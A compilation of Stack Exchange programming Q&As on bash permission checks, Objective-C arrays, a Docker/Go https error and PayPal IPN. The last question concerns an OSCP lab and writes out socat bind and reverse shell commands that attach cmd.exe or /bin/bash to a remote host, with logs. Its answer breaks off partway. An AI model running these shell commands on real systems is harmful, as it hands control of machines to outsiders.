问:
check owner permissions from file (multiple paths results) in bash script
friends,
I have a problem with my script. I tried to find a full path of /bin/openssl and next save results to the file and read from the file paths and check permissions and owners.
But in the result file /tmp/lista.txt , I have multiple paths. How to make a script to read and check every path from file result.
Any ideas?</p>

```<code>#!/bin/sh

module_id="AV.1.8.2.1"
echo " === $module_id module === "

#MODULE BODY
find / -wholename "*bin/openssl" -print > /tmp/list.txt

file="/tmp/list.txt"
path=$(cat /tmp/list.txt)
os=$(uname)
permission_other_good=0

if [ -e $path ]
then
    if [ $os = "Linux" ]
    then
        gid_min=$(grep ^GID_MIN /etc/login.defs)
        gid_min_value=$(echo $gid_min | cut -d " " -f2)
        uid_min=$(grep ^UID_MIN /etc/login.defs)
        uid_min_value=$(echo $uid_min | cut -d " " -f2)
        sys_gid_max=$(grep ^SYS_GID_MAX /etc/login.defs)
        sys_gid_max_value=$(echo $sys_gid_max | cut -d " " -f2)
        sys_uid_max=$(grep ^SYS_UID_MAX /etc/login.defs)
        sys_uid_max_value=$(echo $sys_uid_max | cut -d " " -f2)
        user_uid=$(stat -c %u $path)
        user=$(stat -c %U $path)
        group_gid=$(stat -c %g $path)
        group=$(stat -c %G $path)
        permission_other=$(stat -c %A $path | cut -b 8-10)

        if [ -z $gid_min_value ]
        then
            gid_min_value=1000
        fi

        if [ -z $uid_min_value ]
        then
            uid_min_value=1000
        fi

        if [ -z $sys_gid_max_value ]
        then
            sys_gid_max_value=$((gid_min_value-1))
        fi

        if [ -z $sys_uid_max_value ]
        then
            sys_uid_max_value=$((uid_min_value-1))
        fi
    fi

    if [ $os = "AIX" ]
    then
        gid_min_value=$(cat /etc/security/.ids | cut -d " " -f4)
        sys_gid_max_value=$((gid_min_value-1))
        uid_min_value=$(cat /etc/security/.ids | cut -d " " -f2)
        sys_uid_max_value=$((uid_min_value-1))
        user_uid=$(istat $path | awk -F " " 'NR==3{print $2}' | cut -d "(" -f1)
        user=$(istat $path | awk -F " " 'NR==3{print $2}' | cut -d "(" -f2 | cut -d ")" -f1)
        group_gid=$(istat $path | awk -F " " 'NR==3{print $4}' | cut -d "(" -f1)
        group=$(istat $path | awk -F " " 'NR==3{print $4}' | cut -d "(" -f2 | cut -d ")" -f1)
        permission_other=$(istat $path | awk -F " " 'NR==2{print $2}' | cut -b 7-9)
    fi

    if [ $permission_other = "r-x" ] || [ $permission_other = "r--" ] || [ $permission_other = "--x" ] || [ $permission_other = "---" ]
    then
        permission_other_good=1
    fi

    if [ $user_uid -le $sys_uid_max_value ] && [ $group_gid -le $sys_gid_max_value ] && [ $permission_other_good -eq 1 ]
    then
        compliant="Yes"
        actual_value="user = $user group = $group permission = $permission_other"
    else
        compliant="No"
        actual_value="user = $user group = $group permission = $permission_other"
    fi
else
    compliant="N/A"
    actual_value="File $file does not exist"
fi

# SCRIPT RESULT

echo :::$module_id:::$compliant:::$actual_value:::
echo " === End of $module_id module === "
</code>```

答:
okey the best solution is to put the result in an array and then for</p>

```<code>declare -a my_paths

my_paths=($(find / -wholename "*bin/openssl" -print 2>/dev/null))

for my_path in "${my_paths[@]}"; do

done
</code>```

Body:
friends,
I have a problem with my script. I tried to find a full path of /bin/openssl and next save results to the file and read from the file paths and check permissions and owners.
But in the result file /tmp/lista.txt , I have multiple paths. How to make a script to read and check every path from file result.
Any ideas?

#!/bin/sh

module_id="AV.1.8.2.1"
echo " === $module_id module === "

#MODULE BODY
find / -wholename "*bin/openssl" -print > /tmp/list.txt

file="/tmp/list.txt"
path=$(cat /tmp/list.txt)
os=$(uname)
permission_other_good=0

if [ -e $path ]
then
    if [ $os = "Linux" ]
    then
        gid_min=$(grep ^GID_MIN /etc/login.defs)
        gid_min_value=$(echo $gid_min | cut -d " " -f2)
        uid_min=$(grep ^UID_MIN /etc/login.defs)
        uid_min_value=$(echo $uid_min | cut -d " " -f2)
        sys_gid_max=$(grep ^SYS_GID_MAX /etc/login.defs)
        sys_gid_max_value=$(echo $sys_gid_max | cut -d " " -f2)
        sys_uid_max=$(grep ^SYS_UID_MAX /etc/login.defs)
        sys_uid_max_value=$(echo $sys_uid_max | cut -d " " -f2)
        user_uid=$(stat -c %u $path)
        user=$(stat -c %U $path)
        group_gid=$(stat -c %g $path)
        group=$(stat -c %G $path)
        permission_other=$(stat -c %A $path | cut -b 8-10)

        if [ -z $gid_min_value ]
        then
            gid_min_value=1000
        fi

        if [ -z $uid_min_value ]
        then
            uid_min_value=1000
        fi

        if [ -z $sys_gid_max_value ]
        then
            sys_gid_max_value=$((gid_min_value-1))
        fi

        if [ -z $sys_uid_max_value ]
        then
            sys_uid_max_value=$((uid_min_value-1))
        fi
    fi

    if [ $os = "AIX" ]
    then
        gid_min_value=$(cat /etc/security/.ids | cut -d " " -f4)
        sys_gid_max_value=$((gid_min_value-1))
        uid_min_value=$(cat /etc/security/.ids | cut -d " " -f2)
        sys_uid_max_value=$((uid_min_value-1))
        user_uid=$(istat $path | awk -F " " 'NR==3{print $2}' | cut -d "(" -f1)
        user=$(istat $path | awk -F " " 'NR==3{print $2}' | cut -d "(" -f2 | cut -d ")" -f1)
        group_gid=$(istat $path | awk -F " " 'NR==3{print $4}' | cut -d "(" -f1)
        group=$(istat $path | awk -F " " 'NR==3{print $4}' | cut -d "(" -f2 | cut -d ")" -f1)
        permission_other=$(istat $path | awk -F " " 'NR==2{print $2}' | cut -b 7-9)
    fi

    if [ $permission_other = "r-x" ] || [ $permission_other = "r--" ] || [ $permission_other = "--x" ] || [ $permission_other = "---" ]
    then
        permission_other_good=1
    fi

    if [ $user_uid -le $sys_uid_max_value ] && [ $group_gid -le $sys_gid_max_value ] && [ $permission_other_good -eq 1 ]
    then
        compliant="Yes"
        actual_value="user = $user group = $group permission = $permission_other"
    else
        compliant="No"
        actual_value="user = $user group = $group permission = $permission_other"
    fi
else
    compliant="N/A"
    actual_value="File $file does not exist"
fi

# SCRIPT RESULT

echo :::$module_id:::$compliant:::$actual_value:::
echo " === End of $module_id module === "

Body:
okey the best solution is to put the result in an array and then for

declare -a my_paths

my_paths=($(find / -wholename "*bin/openssl" -print 2>/dev/null))

for my_path in "${my_paths[@]}"; do

done


来源: stackexchange

问:
Adding NSMutableArray A to NSMutableArray B, and then doing "removeAllObjects" on A, clears B too?
```<code>A = bookmarkArray
B = issueArray
[issueArray addObject:bookmarkArray];
[bookmarkArray removeAllObjects];
</code>```

Why does this leave issueArray empty, and what can I do to make sure I still have issueArray populated when bookmarkArray is cleared?

答:
You add bookmarkArray directly to issueArray. So then issueArray is an array holding a single object, which is the array bookmarkArray. If you mutate bookmarkArray then you mutate the thing in issueArray.

If you mean to add all the objects currently in bookmarkArray to issueArray then I'd suggest:

```<code>[issueArray addObjectsFromArray:bookmarkArray];
</code>```

If you want to take a copy of bookmarkArray and add it to issueArray then I'd suggest exactly the same thing taskinoor has already suggested:

```<code>NSMutableArray *bookmarkCopy = [bookmarkArray mutableCopy];
[issueArray addObject:bookmarkCopy];
[bookmarkCopy release];
</code>```

Or:

```<code>NSMutableArray *bookmarkCopy = [bookmarkArray copy];
[issueArray addObject:bookmarkCopy];
[bookmarkCopy release];
</code>```

If you don't need the copy to be mutable.

ContentLicense: CC BY-SA 3.0

Body:
A = bookmarkArray
B = issueArray
[issueArray addObject:bookmarkArray];
[bookmarkArray removeAllObjects];

Why does this leave issueArray empty, and what can I do to make sure I still have issueArray populated when bookmarkArray is cleared?

Body:
You add bookmarkArray directly to issueArray. So then issueArray is an array holding a single object, which is the array bookmarkArray. If you mutate bookmarkArray then you mutate the thing in issueArray.

If you mean to add all the objects currently in bookmarkArray to issueArray then I'd suggest:

[issueArray addObjectsFromArray:bookmarkArray];

If you want to take a copy of bookmarkArray and add it to issueArray then I'd suggest exactly the same thing taskinoor has already suggested:

NSMutableArray *bookmarkCopy = [bookmarkArray mutableCopy];
[issueArray addObject:bookmarkCopy];
[bookmarkCopy release];

Or:

NSMutableArray *bookmarkCopy = [bookmarkArray copy];
[issueArray addObject:bookmarkCopy];
[bookmarkCopy release];

If you don't need the copy to be mutable.


问:
CURL not working in Docker Image [Unable to access the host in Docker image]
Docker File

```<code># Start from the latest golang base image
FROM golang:latest

# Add Maintainer Info
LABEL maintainer="Sumit Thakur <sumitthakur@yahoo.com>"

# Set the Current Working Directory inside the container
WORKDIR /app

# Copy go mod and sum files
COPY go.mod go.sum ./

# Download all dependencies. Dependencies will be cached if the go.mod and go.sum files are not changed
RUN go mod download

# Copy the source from the current directory to the Working Directory inside the container
COPY . .

# Build the Go app
RUN go build -o testapp myapplication.go testapp.go

# Expose port 50051 / for internal comunication

ENV PORT 50051
RUN echo $PORT

EXPOSE ${PORT}

# Command to run the executable
CMD ["./testapp"]
</code>```

Build Docker file with

```<code>docker build -t testapp  -f Dockerfile .
</code>```

that's perfect working

Run Docker file

```<code>docker run -d -p 50051:50051 testapp
</code>```

that's will also working fine

I check with the running container

docker ps
```

<p>this will give me</p>

<pre class="lang-sh prettyprint-override"><code>CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS                      NAMES
57cd3c01bcda        testapp           "./testapp"       2 seconds ago       Up 2 seconds        0.0.0.0:50051->50051/tcp   gracious_bhaskara
</code>```

and when i check the network inspect with

docker network inspect bridge
```

<p>this will give me</p>

```[
    {
        "Name": "bridge",
        "Id": "30850a823d3040e7d8eaf804c122ce3d26b35650f6f792cf1f4ce77d66167eeb",
        "Created": "2020-02-19T07:34:24.993299775Z",
        "Scope": "local",
        "Driver": "bridge",
        "EnableIPv6": false,
        "IPAM": {
            "Driver": "default",
            "Options": null,
            "Config": [
                {
                    "Subnet": "172.17.0.0/16",
                    "Gateway": "172.17.0.1"
                }
            ]
        },
        "Internal": false,
        "Attachable": false,
        "Ingress": false,
        "ConfigFrom": {
            "Network": ""
        },
        "ConfigOnly": false,
        "Containers": {
            "57cd3c01bcda3fbf7d0bf67136ebbb8afb312c4f6ca70eeee15cda6e10fff4e2": {
                "Name": "gracious_bhaskara",
                "EndpointID": "2a42056609e8140d190f1efde41320138867d3905053e7f381bd91b1f053c251",
                "MacAddress": "02:42:ac:11:00:02",
                "IPv4Address": "172.17.0.2/16",
                "IPv6Address": ""
            }
        },
        "Options": {
            "com.docker.network.bridge.default_bridge": "true",
            "com.docker.network.bridge.enable_icc": "true",
            "com.docker.network.bridge.enable_ip_masquerade": "true",
            "com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
            "com.docker.network.bridge.name": "docker0",
            "com.docker.network.driver.mtu": "1500"
        },
        "Labels": {}
    }
]
```

<p>Everthing works fine
Except when i trying to connect the docker host</p>

<pre class="lang-sh prettyprint-override"><code>curl -H "Content-type:application/json" -X GET 'https://localhost:50051/testapp/v1/order'
or
curl -H "Content-type:application/json" -X GET 'https://172.17.0.2:50051/testapp/v1/order'
</code>```

it gives me

Note: Unnecessary use of -X or --request, GET is already inferred.
*   Trying 0.0.0.0...
* TCP_NODELAY set
* Connected to 0.0.0.0 (127.0.0.1) port 50051 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/cert.pem
  CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* error:1400410B:SSL routines:CONNECT_CR_SRVR_HELLO:wrong version number
* stopped the pause stream!
* Closing connection 0
curl: (35) error:1400410B:SSL routines:CONNECT_CR_SRVR_HELLO:wrong version number
```

<p>Test openssl:</p>

```openssl s_client https://localhost:50051/testapp/v1/order -connect localhost:50051
```

<p>Result:</p>

```CONNECTED(00000005)
4488771180:error:140040E5:SSL routines:CONNECT_CR_SRVR_HELLO:ssl handshake failure:/BuildRoot/Library/Caches/com.apple.xbs/Sources/libressl/libressl-22.200.4/l
ibressl-2.6/ssl/ssl_pkt.c:585:
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 0 bytes
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : 0000
    Session-ID:
    Session-ID-ctx:
    Master-Key:
    Start Time: 1582109828
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
---
```

<p>Application Code</p>

```package main

import (
    "io"
    "net/http"
    "github.com/gorilla/handlers"
)
func main() {
    http.HandleFunc("/testapp/v1/order", testHandler)
    headersOk := handlers.AllowedHeaders([]string{""})
    http.ListenAndServe(":50051", headersOk)
}
func testHandler(w http.ResponseWriter, r *http.Request) {
    io.WriteString(w, "Heyyy!")
}
```

Anyone Help I'm stuck here 1-2 days don't know what to do ?

答:
The code provided on main.go does not start TLS, so stop tring to curl with https, it won't works.
curl with http will work

```<code>package main

import (
    "io"
    "net/http"

    "github.com/gorilla/handlers"
)

func main() {
    http.HandleFunc("/testapp/v1/order", testHandler)
    headersOk := handlers.AllowedHeaders([]string{""})
    http.ListenAndServe(":50051", headersOk)
}
func testHandler(w http.ResponseWriter, r *http.Request) {
    io.WriteString(w, "Heyyy!")
}
</code>```

The command openssl s_client https://localhost:50051/testapp/v1/order -connect localhost:50051 confirm to you that TLS is not present on the port you requested

Lot of comments confirm that using https is not relevant, again TLS is not activated on your code

curl -H "Content-type:application/json" -X GET 'http://localhost:50051/testapp/v1/order' works.
That confirm again TLS is not used

Conclusion:

Do not try to curl https when TLS is not activated on your code

ContentLicense: CC BY-SA 4.0

Body:
Docker File

# Start from the latest golang base image
FROM golang:latest

# Add Maintainer Info
LABEL maintainer="Sumit Thakur <sumitthakur@yahoo.com>"

# Set the Current Working Directory inside the container
WORKDIR /app

# Copy go mod and sum files
COPY go.mod go.sum ./

# Download all dependencies. Dependencies will be cached if the go.mod and go.sum files are not changed
RUN go mod download

# Copy the source from the current directory to the Working Directory inside the container
COPY . .

# Build the Go app
RUN go build -o testapp myapplication.go testapp.go

# Expose port 50051 / for internal comunication

ENV PORT 50051
RUN echo $PORT

EXPOSE ${PORT}

# Command to run the executable
CMD ["./testapp"]

Build Docker file with

docker build -t testapp  -f Dockerfile .

that's perfect working

Run Docker file

docker run -d -p 50051:50051 testapp

that's will also working fine

I check with the running container

docker ps

this will give me

CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS                      NAMES
57cd3c01bcda        testapp           "./testapp"       2 seconds ago       Up 2 seconds        0.0.0.0:50051->50051/tcp   gracious_bhaskara

and when i check the network inspect with

docker network inspect bridge

this will give me

[
    {
        "Name": "bridge",
        "Id": "30850a823d3040e7d8eaf804c122ce3d26b35650f6f792cf1f4ce77d66167eeb",
        "Created": "2020-02-19T07:34:24.993299775Z",
        "Scope": "local",
        "Driver": "bridge",
        "EnableIPv6": false,
        "IPAM": {
            "Driver": "default",
            "Options": null,
            "Config": [
                {
                    "Subnet": "172.17.0.0/16",
                    "Gateway": "172.17.0.1"
                }
            ]
        },
        "Internal": false,
        "Attachable": false,
        "Ingress": false,
        "ConfigFrom": {
            "Network": ""
        },
        "ConfigOnly": false,
        "Containers": {
            "57cd3c01bcda3fbf7d0bf67136ebbb8afb312c4f6ca70eeee15cda6e10fff4e2": {
                "Name": "gracious_bhaskara",
                "EndpointID": "2a42056609e8140d190f1efde41320138867d3905053e7f381bd91b1f053c251",
                "MacAddress": "02:42:ac:11:00:02",
                "IPv4Address": "172.17.0.2/16",
                "IPv6Address": ""
            }
        },
        "Options": {
            "com.docker.network.bridge.default_bridge": "true",
            "com.docker.network.bridge.enable_icc": "true",
            "com.docker.network.bridge.enable_ip_masquerade": "true",
            "com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
            "com.docker.network.bridge.name": "docker0",
            "com.docker.network.driver.mtu": "1500"
        },
        "Labels": {}
    }
]

Everthing works fine
Except when i trying to connect the docker host

curl -H "Content-type:application/json" -X GET 'https://localhost:50051/testapp/v1/order'
or
curl -H "Content-type:application/json" -X GET 'https://172.17.0.2:50051/testapp/v1/order'

it gives me

Note: Unnecessary use of -X or --request, GET is already inferred.
*   Trying 0.0.0.0...
* TCP_NODELAY set
* Connected to 0.0.0.0 (127.0.0.1) port 50051 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/cert.pem
  CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* error:1400410B:SSL routines:CONNECT_CR_SRVR_HELLO:wrong version number
* stopped the pause stream!
* Closing connection 0
curl: (35) error:1400410B:SSL routines:CONNECT_CR_SRVR_HELLO:wrong version number

Test openssl:

openssl s_client https://localhost:50051/testapp/v1/order -connect localhost:50051

Result:

CONNECTED(00000005)
4488771180:error:140040E5:SSL routines:CONNECT_CR_SRVR_HELLO:ssl handshake failure:/BuildRoot/Library/Caches/com.apple.xbs/Sources/libressl/libressl-22.200.4/l
ibressl-2.6/ssl/ssl_pkt.c:585:
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 0 bytes
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : 0000
    Session-ID:
    Session-ID-ctx:
    Master-Key:
    Start Time: 1582109828
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
---

Application Code

package main

import (
    "io"
    "net/http"
    "github.com/gorilla/handlers"
)
func main() {
    http.HandleFunc("/testapp/v1/order", testHandler)
    headersOk := handlers.AllowedHeaders([]string{""})
    http.ListenAndServe(":50051", headersOk)
}
func testHandler(w http.ResponseWriter, r *http.Request) {
    io.WriteString(w, "Heyyy!")
}

Anyone Help I'm stuck here 1-2 days don't know what to do ?

Body:
The code provided on main.go does not start TLS, so stop tring to curl with https, it won't works.
curl with http will work

package main

import (
    "io"
    "net/http"

    "github.com/gorilla/handlers"
)

func main() {
    http.HandleFunc("/testapp/v1/order", testHandler)
    headersOk := handlers.AllowedHeaders([]string{""})
    http.ListenAndServe(":50051", headersOk)
}
func testHandler(w http.ResponseWriter, r *http.Request) {
    io.WriteString(w, "Heyyy!")
}

The command openssl s_client https://localhost:50051/testapp/v1/order -connect localhost:50051 confirm to you that TLS is not present on the port you requested

Lot of comments confirm that using https is not relevant, again TLS is not activated on your code

curl -H "Content-type:application/json" -X GET 'http://localhost:50051/testapp/v1/order' works.
That confirm again TLS is not used

Conclusion:

Do not try to curl https when TLS is not activated on your code


问:
How can we get paypal billing AgreementId in IPN code
I was creating a paypal billing agreement using API php.
It works good, Is there any way we can get the Billing Agreement Id in Ipn.
I know we will get it in encrypted from. https://prnt.sc/r4hc2h Any one know how to decrypt it  ?</p>

答:
There is no decrypted Billing Agreement ID to be had.

The value of mp_id is the only BA ID you will ever see or need. Store it and use it.


问:
Socat - How to create a windows reverse shell
I recently upgraded my OSCP material to get the new OSCP version 2020 and I came across the chapter with socat to create encrypted bind shell/reverse shell. I thought I understood how to use it, but my attempts to send an encrypted reverse shell from my windows machine to my Kali machine has been unsuccessfuls. I decided to do some trials and error with an unencrypted bind shell on both sides.

Here is what worked for me :

Kali Bind Shell (Getting /bin/bash on Windows by connecting to the kali binded shell socket)

Kali Reverse Shell (Getting /bin/bash on Windows by sending it to the windows listening socket)

Here's what did not worked for me :

Windows Bind Shell (Getting cmd.exe by connecting to the windows listening shell socket)

Windows Reverse Shell (Getting cmd.exe by sending it to the Kali listening socket)

Here is what i did :

Kali Bind Shell - OK

Kali (192.168.119.145)

socat -d -d -d TCP4-LISTEN:4444,fork EXEC:/bin/bash

Windows 10 (192.168.145.10)

socat -d -d -d - TCP4:192.168.119.145:4444

Kali Reverse Shell - OK

Windows 10 (192.168.145.10)

socat -d -d -d TCP4-LISTEN:4444,fork STDOUT

Kali (192.168.119.145)

socat -d -d -d TCP4:192.168.145.10:4444 EXEC:/bin/bash

Windows Bind Shell - NOT OK

Windows 10 (192.168.145.10)

socat -d -d -d TCP4-LISTEN:4444,fork EXEC:cmd.exe

Kali (192.168.119.145)

socat -d -d -d - TCP4:192.168.145.10:4444

Windows Reverse Shell - NOT OK

Kali (192.168.119.145)

socat -d -d -d TCP4-LISTEN:4444,fork STDOUT

Windows 10 (192.168.145.10)

socat -d -d -d TCP4:192.168.119.145:4444 EXEC:cmd.exe

Here is what I get :

Windows bind shell - Windows Machine

```<code>C:\Windows\system32>socat -d -d -d TCP4-LISTEN:443,fork EXEC:cmd.exe
2020/02/18 10:22:04 socat[3712] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 10:22:04 socat[3712] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
2020/02/18 10:22:04 socat[3712] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 10:22:04 socat[3712] I setting option "fork" to 1
2020/02/18 10:22:04 socat[3712] I socket(2, 1, 6) -> 5
2020/02/18 10:22:04 socat[3712] I starting accept loop
2020/02/18 10:22:04 socat[3712] N listening on AF=2 0.0.0.0:443
2020/02/18 10:22:25 socat[3712] I accept(5, {2, AF=2 192.168.119.145:36796}, 16) -> 6
2020/02/18 10:22:25 socat[3712] N accepting connection from AF=2 192.168.119.145:36796 on AF=2 192.168.145.10:443
2020/02/18 10:22:25 socat[3712] I permitting connection from AF=2 192.168.119.145:36796
2020/02/18 10:22:25 socat[3712] N forked off child process 4252
2020/02/18 10:22:25 socat[4252] I just born: child proces2020/02/18 10:22:25 socat[3712] I close(6)
2020/02/18 10:22:25 socat[4252] I just born: child process 4252
2020/02/18 10:22:25 socat[4252] I close(5)stening
2020/02/18 10:22:25 socat[4252] N forking off child, using socket for reading and writing
2020/02/18 10:22:25 socat[4252] I socketpair(1, 1, 0, {5,7}) -> 0
2020/02/18 10:22:25 socat[4252] N forked off child process 56402020/02/18 10:22:25 socat[5640] I just born: child proces
2020/02/18 10:22:25 socat[4252] N forked off child process 5640
2020/02/18 10:22:25 socat[5640] I close(5)
2020/02/18 10:22:25 socat[5640] I dup2(7, 0) -> 0
2020/02/18 10:22:25 socat[5640] I dup2(7, 1) -> 1ened all sock addresses
2020/02/18 10:22:25 socat[5640] I close(7) data transfer loop with FDs [6,6] and [5,5]
2020/02/18 10:22:25 socat[5640] N execvp'ing "cmd.exe"
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
2020/02/18 10:22:25 socat[4252] W read(5, 0x20044610, 8192): Connection reset by peer
2020/02/18 10:22:25 socat[3712] N childdied(): handling signal 202020/02/18 10:22:25 socat[4252] I childdied(signum=20)
2020/02/18 10:22:25 socat[4252] I waitpid(): child 5640 exited with status 0
2020/02/18 10:22:25 socat[4252] I childdied() finishedANG): No child processes
2020/02/18 10:22:25 socat[4252] N socket 2 to socket 1 is in error
2020/02/18 10:22:25 socat[4252] N socket 2 (fd 5) is at EOF
2020/02/18 10:22:25 socat[4252] I shutdown(6, 1)
2020/02/18 10:22:25 socat[4252] I terminated child did not leave data for us
2020/02/18 10:22:25 socat[4252] I poll timed out (no data within 0.500000 seconds)
2020/02/18 10:22:25 socat[4252] I shutdown(6, 2)
2020/02/18 10:22:25 socat[4252] I shutdown(5, 2)
2020/02/18 10:22:25 socat[4252] N exiting with status 0
2020/02/18 10:22:25 socat[3712] N childdied(): handling signal 20
2020/02/18 10:22:25 socat[3712] I childdied(signum=20)
2020/02/18 10:22:25 socat[3712] I childdied(20): cannot identify child 4252
2020/02/18 10:22:25 socat[3712] I waitpid(): child 4252 exited with status 0
2020/02/18 10:22:25 socat[3712] I waitpid(-1, {}, WNOHANG): No child processes
2020/02/18 10:22:25 socat[3712] I childdied() finished
</code>```

Windows Bind Shell - Kali Machine

```<code>root@kali:/mnt/hgfs/Shared/OSCPLabsVPN/V2# socat -d -d -d - TCP4:192.168.145.10:443
2020/02/18 13:22:24 socat[9004] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 13:22:24 socat[9004] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/)
2020/02/18 13:22:24 socat[9004] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 13:22:24 socat[9004] N reading from and writing to stdio
2020/02/18 13:22:24 socat[9004] N opening connection to AF=2 192.168.145.10:443
2020/02/18 13:22:24 socat[9004] I starting connect loop
2020/02/18 13:22:24 socat[9004] I socket(2, 1, 6) -> 5
2020/02/18 13:22:24 socat[9004] N successfully connected from local address AF=2 192.168.119.145:36796
2020/02/18 13:22:24 socat[9004] I resolved and opened all sock addresses
2020/02/18 13:22:24 socat[9004] N starting data transfer loop with FDs [0,1] and [5,5]
2020/02/18 13:22:25 socat[9004] N socket 2 (fd 5) is at EOF
2020/02/18 13:22:25 socat[9004] I poll timed out (no data within 0.500000 seconds)
2020/02/18 13:22:25 socat[9004] I shutdown(5, 2)
2020/02/18 13:22:25 socat[9004] N exiting with status 0
</code>```

Windows Reverse Shell - Kali Machine

```<code>root@kali:/mnt/hgfs/Shared/OSCPLabsVPN/V2# socat -d -d -d TCP4-LISTEN:443 STDOUT
2020/02/18 13:07:13 socat[8925] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 13:07:13 socat[8925] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
2020/02/18 13:07:13 socat[8925] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 13:07:13 socat[8925] I socket(2, 1, 6) -> 5
2020/02/18 13:07:13 socat[8925] I starting accept loop
2020/02/18 13:07:13 socat[8925] N listening on AF=2 0.0.0.0:443
2020/02/18 13:07:18 socat[8925] I accept(5, {2, AF=2 192.168.145.10:61633}, 16) -> 6
2020/02/18 13:07:18 socat[8925] N accepting connection from AF=2 192.168.145.10:61633 on AF=2 192.168.119.145:443
2020/02/18 13:07:18 socat[8925] I permitting connection from AF=2 192.168.145.10:61633
2020/02/18 13:07:18 socat[8925] I close(5)
2020/02/18 13:07:18 socat[8925] N using stdout for reading and writing
2020/02/18 13:07:18 socat[8925] I resolved and opened all sock addresses
2020/02/18 13:07:18 socat[8925] N starting data transfer loop with FDs [6,6] and [1,1]
2020/02/18 13:07:18 socat[8925] N socket 1 (fd 6) is at EOF
2020/02/18 13:07:18 socat[8925] I poll timed out (no data within 0.500000 seconds)
2020/02/18 13:07:18 socat[8925] I shutdown(6, 2)
2020/02/18 13:07:18 socat[8925] N exiting with status 0
</code>```

Windows Reverse Shell - Windows Machine

```<code>C:\Windows\system32>socat -d -d -d TCP4:192.168.119.145:443 EXEC:cmd.exe
2020/02/18 10:06:39 socat[5396] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 10:06:39 socat[5396] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
2020/02/18 10:06:39 socat[5396] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 10:06:39 socat[5396] N opening connection to AF=2 192.168.119.145:443
2020/02/18 10:06:39 socat[5396] I starting connect loop
2020/02/18 10:06:39 socat[5396] I socket(2, 1, 6) -> 5
2020/02/18 10:06:39 socat[5396] N successfully connected from local address AF=2 192.168.145.10:61630
2020/02/18 10:06:39 socat[5396] N forking off child, using socket for reading and writing
2020/02/18 10:06:39 socat[5396] I socketpair(1, 1, 0, {6,7}) -> 0
2020/02/18 10:06:39 socat[5396] N forked off child process 2688
2020/02/18 10:06:39 socat[2688] I just born: child process 2688
2020/02/18 10:06:39 socat[5396] N forked off child process 2688
2020/02/18 10:06:39 socat[5396] I close(7)
2020/02/18 10:06:39 socat[5396] I resolved and opened all sock addresses
2020/02/18 10:06:39 socat[5396] N starting data transfer loop with FDs [5,5] and [6,6]
2020/02/18 10:06:39 socat[2688] I close(6)
2020/02/18 10:06:39 socat[2688] I dup2(7, 0) -> 0
2020/02/18 10:06:39 socat[2688] I dup2(7, 1) -> 1
2020/02/18 10:06:39 socat[2688] I close(7)
2020/02/18 10:06:39 socat[2688] N execvp'ing "cmd.exe"
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
2020/02/18 10:06:39 socat[5396] W read(6, 0x20044228, 8192): Connection reset by peer
2020/02/18 10:06:39 socat[5396] N childdied(): handling signal 20
2020/02/18 10:06:39 socat[5396] I childdied(signum=20)
2020/02/18 10:06:39 socat[5396] I exec'd process 2688 on socket 1 terminated
2020/02/18 10:06:39 socat[5396] I waitpid(): child 2688 exited with status 0
2020/02/18 10:06:39 socat[5396] I waitpid(-1, {}, WNOHANG): No child processes
2020/02/18 10:06:39 socat[5396] I childdied() finished
2020/02/18 10:06:39 socat[5396] N socket 2 to socket 1 is in error
2020/02/18 10:06:39 socat[5396] N socket 2 (fd 6) is at EOF
2020/02/18 10:06:39 socat[5396] I shutdown(5, 1)
2020/02/18 10:06:39 socat[5396] I terminated child did not leave data for us
2020/02/18 10:06:39 socat[5396] I poll timed out (no data within 0.500000 seconds)
2020/02/18 10:06:39 socat[5396] I shutdown(5, 2)
2020/02/18 10:06:39 socat[5396] I shutdown(6, 2)
2020/02/18 10:06:39 socat[5396] N exiting with status 0
</code>```

What am I doing wrong here ?

Why can't I attach a Windows cmd.exe process to a socket ?

PS : I know the timestamps between my exemples doesn't match

答:
Windows machine (copy the .pem file from kali):

socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0 STDOUT

Kali machine:
